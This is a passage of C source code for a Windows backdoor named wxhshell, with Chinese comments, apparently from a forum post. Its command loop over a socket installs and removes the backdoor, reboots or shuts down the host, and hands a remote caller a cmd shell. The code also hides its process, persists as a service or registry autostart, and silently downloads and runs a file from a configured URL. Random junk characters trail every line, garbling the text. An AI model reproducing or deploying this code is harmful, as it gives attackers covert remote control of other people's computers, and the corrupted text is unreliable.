  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Spc&X72I  
  } sbjtL,  
  else { g _x\T+=  
XbXgU#%  
    switch(cmd[0]) { a^*B5G1(&  
  `7>K1slQ}S  
  // 帮助 ws().IZ  
  case '?': { eU"mG3 __  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G,/Gq+WX  
    break; GFY-IC+fc  
  } 'Ix5,^M}B  
  // 安装 g$gVm:=  
  case 'i': { Q^q=!/qQ  
    if(Install()) j%Gbg J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {"\q(R0  
    else YRu%j4Tx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^~*8 @v""  
    break; H>Sf[8w)%  
    } 6DO0zNTY  
  // 卸载 }9 FD/  
  case 'r': { o5V`'[c  
    if(Uninstall()) g` kZ T} h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gx#J%k,f  
    else :X|AW?*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :3 PGf  
    break; 7ozYq_ $  
    } TwwIt5_fN  
  // 显示 wxhshell 所在路径 _jk|}IB;X  
  case 'p': { ]t7ClT)n!  
    char svExeFile[MAX_PATH]; w=gQ3j#s  
    strcpy(svExeFile,"\n\r"); U!_sh<  
      strcat(svExeFile,ExeFile); 7~lB}$L  
        send(wsh,svExeFile,strlen(svExeFile),0); NB3/A"}"02  
    break; Rgs3A)[`d/  
    } yvS^2+jW  
  // 重启 i~ROQMN1  
  case 'b': { taBO4LV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lWIv(%/@  
    if(Boot(REBOOT)) @#1cx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I@+lFG   
    else { ,$o-C&nC  
    closesocket(wsh); _4~k3%w\`l  
    ExitThread(0); (J/>Gy)d  
    } NywB 3  
    break; j5'.P~  
    } 2;O  c^  
  // 关机 69?I?,7  
  case 'd': { Bac?'ypm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _RgxKp/d  
    if(Boot(SHUTDOWN)) my=*zziN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?! _u,sT  
    else { YlG; A\]k  
    closesocket(wsh); E#8J+7  
    ExitThread(0); THb A(SM  
    } ~igRg~k:/  
    break; {kT#o3,>w6  
    } 2c!h2$w  
  // 获取shell f*UBigk  
  case 's': { S_`W@cp[  
    CmdShell(wsh); 4b]IazL)  
    closesocket(wsh); , &-S?|  
    ExitThread(0); }#YIl@E  
    break; <r@bNx@T  
  } R A*(|n>  
  // 退出 NEZH<#  
  case 'x': { I4A ;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s_x=^S3~LO  
    CloseIt(wsh); Cb+P7[X-  
    break; `6dy U_f  
    } YAX #O\,  
  // 离开 Y#GT*V  
  case 'q': { [>Ikitow  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R %Rv  
    closesocket(wsh); N=hSqw[  
    WSACleanup(); 3`mC"a b /  
    exit(1); 3AX?B~s  
    break; N+ak[axN  
        } $z~jnc  
  } M|$H+e } :  
  } Y}85J:q]  
mxtlr)  
  // 提示信息 Rc;1Sm9\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ]v/t8`  
} B/kcb(5v  
  } &3!i@2d;3f  
"4J?JR  
  return; :d, >d  
} oiIt3<BX  
-i| /JH  
// shell模块句柄 g-4gI\  
int CmdShell(SOCKET sock) +#&el//  
{ O@G<B8U,K  
STARTUPINFO si; 1uKD&k%q  
ZeroMemory(&si,sizeof(si)); = ?y^O0v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g{rt^B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I8XGU)  
PROCESS_INFORMATION ProcessInfo; yz54:q?  
char cmdline[]="cmd"; c%o5 E%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :YkDn~@  
  return 0; M'pY-/.  
} 7{?lEQ&UE  
5%vP~vy_}  
// 自身启动模式 sE(X:[Am  
int StartFromService(void) .D>A'r8U  
{ \ x>NB  
typedef struct +H5 jRw  
{ F#zQQ)(Pf  
  DWORD ExitStatus; i4 y(H  
  DWORD PebBaseAddress; Lh8# I&x  
  DWORD AffinityMask; PX+"" #  
  DWORD BasePriority; UMnR=~.  
  ULONG UniqueProcessId; 3<V.6'*k  
  ULONG InheritedFromUniqueProcessId; %D%e:se  
}   PROCESS_BASIC_INFORMATION; Udb0&Y1^  
P}w^9=;S  
PROCNTQSIP NtQueryInformationProcess; s (l+{b &  
tSw~_s_V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; > 2!^ dT^D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Dg?Ho2ih  
@U7U?.p  
  HANDLE             hProcess; +btP]?04  
  PROCESS_BASIC_INFORMATION pbi; }W Bm%f  
T%z!+/=&^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L%=BCmMx  
  if(NULL == hInst ) return 0; 2n"*)3Qj  
X.r!q1_c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +'{:zN5m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5d!z<{`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fb;hf:B:  
U O{xpY  
  if (!NtQueryInformationProcess) return 0; d1C/u@8^  
;NvhL|R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C/grrw  
  if(!hProcess) return 0; \, X?K  
P17]}F``  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $n_sGr  
tPMg Z  
  CloseHandle(hProcess); 0|f_C3  
8. ~Euz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0^|$cvYiL  
if(hProcess==NULL) return 0; }b\ipA,~  
H f`&&  
HMODULE hMod; l.Lc]ZpB  
char procName[255]; p]J]<QaZD  
unsigned long cbNeeded; Cys/1DkE  
sIQMUC[!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0Zp<=\!;  
f(zuRM^5  
  CloseHandle(hProcess); >ZOZv  
;9- 4J  
if(strstr(procName,"services")) return 1; // 以服务启动 U iPVZ@?  
f/|a?n2\hm  
  return 0; // 注册表启动 +LU).  
} 1dXO3hot  
 T!O3(  
// 主模块 cmC&s'/8`D  
int StartWxhshell(LPSTR lpCmdLine) QRn:=J%W W  
{ 0[3tW[j  
  SOCKET wsl; Hr_x~n=w  
BOOL val=TRUE; ~>wq;T:=  
  int port=0; '!2  
  struct sockaddr_in door; 'j =PbA  
4'u|L&ow  
  if(wscfg.ws_autoins) Install(); .x9nWa  
YH:W]  
port=atoi(lpCmdLine); r>D[5B  
]mDsUZf<  
if(port<=0) port=wscfg.ws_port; #|2g{7 g*  
o2t@-dNi  
  WSADATA data; 4$#ia F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O,z%7><  
1tK6lrhj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =V4_DJ(&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vzT6G/  
  door.sin_family = AF_INET; c_j )8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WLA_YMlA  
  door.sin_port = htons(port); [Nzg 8FP  
K <fq=:I3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^9m^#"ZW`  
closesocket(wsl); [pyXX>:M  
return 1; j4hUPL7  
} ,_7tRkn  
}F9?*2\/  
  if(listen(wsl,2) == INVALID_SOCKET) { #)c;i<Q3S  
closesocket(wsl); trNK9@wT)  
return 1; -_H2FlB  
} qy0_1xT-  
  Wxhshell(wsl); 1\9BO:<K  
  WSACleanup(); {:q9:  
%#;(]7Zq  
return 0; " kJWWR  
`5aypJf 1  
} eWt>^]H~  
\6PIw-)  
// 以NT服务方式启动 g\mrRZ/?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SGT-B.  
{ "}Sid+)<  
DWORD   status = 0; f0s<Y  
  DWORD   specificError = 0xfffffff; gB'Ah-@,P  
OA5md9P;d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T;vPR,]rz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &JzF   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KARQKFp!C>  
  serviceStatus.dwWin32ExitCode     = 0; w6%CB E2  
  serviceStatus.dwServiceSpecificExitCode = 0; ur_"m+  
  serviceStatus.dwCheckPoint       = 0; /Gu2@m[r  
  serviceStatus.dwWaitHint       = 0; )6S}O* 1  
N4JL.(m){I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (VF4]  
  if (hServiceStatusHandle==0) return; jjlCi<9CQ^  
;`Ch2b1+  
status = GetLastError(); *d*;M>  
  if (status!=NO_ERROR) |"(3]f\  
{ zAdVJ58H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J!gWRw5  
    serviceStatus.dwCheckPoint       = 0; -O q=J;  
    serviceStatus.dwWaitHint       = 0; 29E@e]Y,`  
    serviceStatus.dwWin32ExitCode     = status; o\Vt $  
    serviceStatus.dwServiceSpecificExitCode = specificError; p[+me o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G6g=F+X2  
    return; "I 1M$^8n  
  } d}G."wnG9,  
At_Y$N:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s)ajy^6'M  
  serviceStatus.dwCheckPoint       = 0; 1$!K2=%OXj  
  serviceStatus.dwWaitHint       = 0; @9Pn(fd]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L,ey3i7a\  
} 61;5Yo  
Wn</",Gf  
// 处理NT服务事件,比如:启动、停止 0BZOr-i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #~qp8 w  
{ 544I#!  
switch(fdwControl) u+T, n  
{ SCC/ <o  
case SERVICE_CONTROL_STOP: uS10P7N}  
  serviceStatus.dwWin32ExitCode = 0; YuW\GSV00  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g?Ty5~:lq  
  serviceStatus.dwCheckPoint   = 0; YQd&rkr  
  serviceStatus.dwWaitHint     = 0; bI0+J)  
  { ~Am %%$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 17i@GnbNb  
  } .j@n6RyN  
  return; "f$A0RL  
case SERVICE_CONTROL_PAUSE: "k@/Z7=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N=Yi :+  
  break; ^bw~$*"j#  
case SERVICE_CONTROL_CONTINUE: vX)Y%I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ap_+C~%+  
  break; ^x#RUv  
case SERVICE_CONTROL_INTERROGATE: KTREOOu .t  
  break; S~9kp?kR$  
}; w3hL.Z,kV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |?Uc:VFF  
} B_G7F[/K  
ZuV  
// 标准应用程序主函数 \) ONy9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?UZ yu 4O%  
{ GM92yi!8  
D#AxgF_He  
// 获取操作系统版本 Sk%|-T(d$  
OsIsNt=GetOsVer(); Ceb i9R[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n8ya$bc  
h$h`XBVZe;  
  // 从命令行安装 /]>{"sS(  
  if(strpbrk(lpCmdLine,"iI")) Install(); I>zn$d*0  
+Rd{ ?)2~  
  // 下载执行文件 25KZe s)  
if(wscfg.ws_downexe) { U?C{.@#w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O/"&?)[v  
  WinExec(wscfg.ws_filenam,SW_HIDE); / 1GZN *I  
} FAGVpO[  
U9OF0=g  
if(!OsIsNt) { aM1JG$+7G  
// 如果时win9x,隐藏进程并且设置为注册表启动 cHd39H9  
HideProc(); d$ 7 b  
StartWxhshell(lpCmdLine); )y Y;%  
} bhT]zsBK  
else 2UJ0%k  
  if(StartFromService()) : \`MrI^  
  // 以服务方式启动 id9T[^h  
  StartServiceCtrlDispatcher(DispatchTable); Q)dns)_x  
else 'hWRwP|  
  // 普通方式启动 D1/$pA+B  
  StartWxhshell(lpCmdLine); 9e6{(  
mw%_ yDZ{  
return 0; Z@u mbyM  
}
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只看该作者 1 发表于: 2006-10-10
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